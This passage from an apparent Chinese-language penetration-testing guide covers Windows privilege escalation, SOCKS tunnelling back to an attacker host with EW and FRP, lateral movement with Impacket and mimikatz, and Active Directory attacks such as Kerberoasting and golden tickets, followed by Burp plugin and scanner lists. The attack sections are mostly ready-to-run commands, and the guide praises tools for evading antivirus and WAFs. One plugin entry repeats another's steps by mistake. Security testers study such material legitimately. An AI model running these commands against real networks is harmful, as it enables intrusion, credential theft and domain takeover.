修改服务二进制路径:
sc config vulnerable_service binpath= "C:\path\to\malicious.exe" sc start vulnerable_service
Potato提权:
利用命名管道模拟漏洞
工具:RottenPotatoNG、SweetPotato
步骤:
SweetPotato.exe -c "cmd.exe /c whoami" -p C:\Windows\System32\cmd.exe
内核漏洞提权:
使用Windows-Exploit-Suggester:
python windows-exploit-suggester.py --database 2020-01-10-mssb.xls --systeminfo systeminfo.txt
选择合适的exp编译执行
4. 内网渗透
4.1 代理搭建
基础概念:
- 代理搭建是将内网流量转发到攻击机的过程
- 便于扫描和利用内网资源
详细操作指南:
常用工具对比
工具 | 优点 | 缺点 | 适用场景 |
---|---|---|---|
EW | 纯静态编译,免杀性好 | 配置复杂 | Windows/Linux |
FRP | 配置简单,功能丰富 | 体积大 | 有公网服务器 |
Socks5 | 标准协议,兼容性好 | 需要额外工具 | 浏览器代理 |
Earthworm (EW) 使用
正向代理(目标机出网):
攻击机监听:
./ew -s rcsocks -l 1080 -e 8888
目标机连接:
ew.exe -c 8888 -s rssocks
配置Proxifier:
- 规则:所有流量 → 127.0.0.1:1080
反向代理(目标机不出网):
攻击机监听:
./ew -s rdsocks -l 1080 -e 8888
目标机连接:
ew.exe -r 攻击机IP -l 1080 -e 8888 -s rssocksd
FRP 使用
配置文件示例:
服务端frps.ini:
[common] bind_port = 7000
客户端frpc.ini:
[common] server_addr = your-server.com server_port = 7000 [socks5] type = tcp plugin = socks5
启动命令:
# 服务端 ./frps -c frps.ini # 客户端 ./frpc -c frpc.ini
实操指南:
- 优先尝试EW,因其免杀性好(好做)
- 若目标机有出网权限,使用正向代理
- 若目标机无出网权限,需通过跳板机使用反向代理
- 配置Proxifier规则:
- Applications: 选择使用的工具(如nmap、burp)
- Network: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
- Proxy: 127.0.0.1:1080
4.2 横向移动
基础概念:
- 横向移动是从已控制的主机访问其他内网主机的过程
- 常用技术:Pass the Hash、票据传递、WMI
详细操作指南:
Impacket 工具集
基本使用:
# 使用哈希认证 psexec.py domain/user@target -hashes :ntlm_hash # 使用票据认证 psexec.py user@target -k -no-pass # WMI执行命令 wmiexec.py user:password@target "ipconfig"
常用工具:
psexec.py
:类似Windows PsExecsmbexec.py
:通过SMB执行命令wmiexec.py
:通过WMI执行命令mssqlclient.py
:通过MSSQL执行命令
Pass the Hash
详细步骤:
Kerberos 票据传递
详细步骤:
导出票据:
mimikatz # kerberos::list /export
传递票据:
kekeo # tgt::import ticket.kirbi kekeo # ptt ticket.kirbi
4.3 域渗透
基础概念:
- 域渗透是在Active Directory环境中进行的高级攻击
- 涉及域用户、域控制器和域策略
详细操作指南:
BloodHound 数据收集
详细步骤:
在域内主机上运行收集器:
SharpHound.exe -c All
将生成的ZIP文件导入BloodHound
使用预定义查询分析攻击路径:
- Shortest Paths to Domain Admins
- Most Privileged Users
- Unconstrained Delegation
Kerberoasting
详细步骤:
请求服务票据:
GetUserSPNs.py -request domain/user
离线破解:
hashcat -m 13100 hashes.txt /path/to/wordlist
Golden Ticket
详细步骤:
获取域SID和krbtgt哈希:
mimikatz # lsadump::dcsync /domain:domain.com /user:krbtgt
生成Golden Ticket:
mimikatz # kerberos::golden /user:fakeuser /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ticket:golden.kirbi
使用票据:
mimikatz # kerberos::ptt golden.kirbi
建议:
- 先确认是否在域环境中:
net time /domain
(Windows)realm list
(Linux)
- 收集域基本信息:
- 域名:
echo %USERDOMAIN%
- 域控制器:
nltest /dclist:domain.com
- 域名:
- 使用BloodHound可视化分析,找到最短攻击路径
- 优先测试Kerberoasting,因为风险较低
5. 报告生成
- 使用 word 模板
- 包含:漏洞描述、风险等级、复现步骤、修复建议
6. 推荐插件汇总(Burp Suite)
名称 | 详细说明 | 安装与使用指南 |
---|---|---|
xiaSQL | SQL注入自动检测与分析 | 1. 从GitHub下载JAR文件 2. Burp → Extender → Add 3. 在Proxy/Repeater中右键 → xiaSQL → Scan 4. 查看结果并导出sqlmap命令 |
mingdong | 文件上传漏洞自动探测 | 1. 下载JAR文件 2. 添加到Burp 13. 上传文件时自动触发 4. 查看插件结果,了解可上传后缀 |
Autorize | 越权漏洞自动检测 | 1. 登录两个不同权限账号 2. 高权限账号发起请求 3. 右键 → Autorize → Test as [低权限账号] 4. 插件自动比较响应差异 |
HaE | 敏感信息自动检测 | 1. 配置要检测的敏感信息模式 2. 流量经过时自动高亮显示 3. 支持自定义正则表达式 |
captcha-killer | 验证码自动识别 | 1. 配置识别模型 2. 拦截含验证码的请求 3. 右键 → captcha-killer → 解析 4. 自动填充识别结果 |
Burp-Awesome-TLS | 绕过TLS指纹检测 | 1. 安装后自动生效 2. 模拟常见浏览器TLS指纹 3. 有效绕过基于TLS指纹的WAF |
autoDecoder | 自动加解密分析 | 1. 拦截含加密参数的请求 2. 右键 → Send to autoDecoder 3. 自动分析加解密算法 4. 支持自定义编解码规则 |
cloudX | 云服务API安全测试 | 1. 拦截含加密参数的请求 2. 右键 → Send to autoDecoder 3. 自动分析加解密算法 4. 支持自定义编解码规则 |
passive-scan-client | 流量转发至xray | 1. 配置xray监听地址 2. 流量自动转发 3. xray进行被动扫描 4. 结果返回Burp展示 |
插件使用技巧:
- 按测试阶段启用相关插件,避免过多插件影响性能
- 定期更新插件,获取最新功能和漏洞检测能力
- 对于关键插件,了解其工作原理,不要盲目依赖
- 将插件结果与手动测试结合,提高准确率
7.集成工具推荐
名称 | 详细说明 | 安装与使用指南 |
---|---|---|
xray | 一款由长亭科技开发的安全评估工具,支持被动扫描、主动扫描、POC验证等功能,适合Web漏洞检测。内置XSS、SQL注入、命令执行、信息泄露等常见漏洞规则。 | 1. 下载地址:https://github.com/chaitin/xray 2. 解压后配置 config.yaml 3. 常用命令: xray webscan --listen 127.0.0.1:7777 --html-output report.html |
ez | 轻量化的安全扫描工具(常见于配合POC脚本使用),支持快速调用、批量检测等。通常用于漏洞验证而非大范围扫描。 | 1. 下载地址(https://github.com/m-sec-org/EZ) 2. ez的使用需要去申请证书,月证书50积分交几个漏洞poc即可 3. 解压后配置 config.yaml 4. 常用命令: ./ez webscan |
tscanPlus | 基于Go语言开发的Web安全扫描器,支持多种Web漏洞检测,扫描速度快,支持多线程和批量任务。 | 1. 下载地址(https://github.com/TideSec/TscanPlus) 2. 解压并运行 |
dddd | 轻量级HTTP请求与漏洞测试工具,常用于快速验证漏洞或发送特定请求(类似curl但更安全测试化)。 | 1. 下载地址(https://github.com/SleepingBag945/dddd) 2. dddd -t http://test.com 3. dddd -t 192.168.0.1 |
nuclei | ProjectDiscovery 出品的基于模板的漏洞扫描工具,支持YAML格式POC,覆盖Web、网络、协议等多场景。模板社区活跃且更新快。 | 1. 下载地址:https://github.com/projectdiscovery/nuclei 2. go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest 3. 更新模板: nuclei -update-templates 4. 扫描命令: nuclei -u https://target.com -t cves/ |
afrog | 国人开发的高性能漏洞扫描工具,支持YAML规则,内置丰富漏洞模板库,扫描速度快,适合批量目标检测与POC验证。 | 1. 下载地址:https://github.com/zan8in/afrog 2. 下载并解压对应系统版本 3. 扫描命令: ./afrog -t https://target.com -o result.html 4. 更新POC: ./afrog --update |
fscan | 一款面向内网的综合扫描工具(Go 开发),支持主机存活探测、端口扫描、服务爆破、Web 指纹与 Web 漏洞扫描(兼容 xray POC)、MS17-010 等高危漏洞检测,且有丰富的辅助/利用模块。 | 1、下载地址:https://github.com/shadow1ng/fscan 2、 fscan.exe -h 192.168.1.0/24 |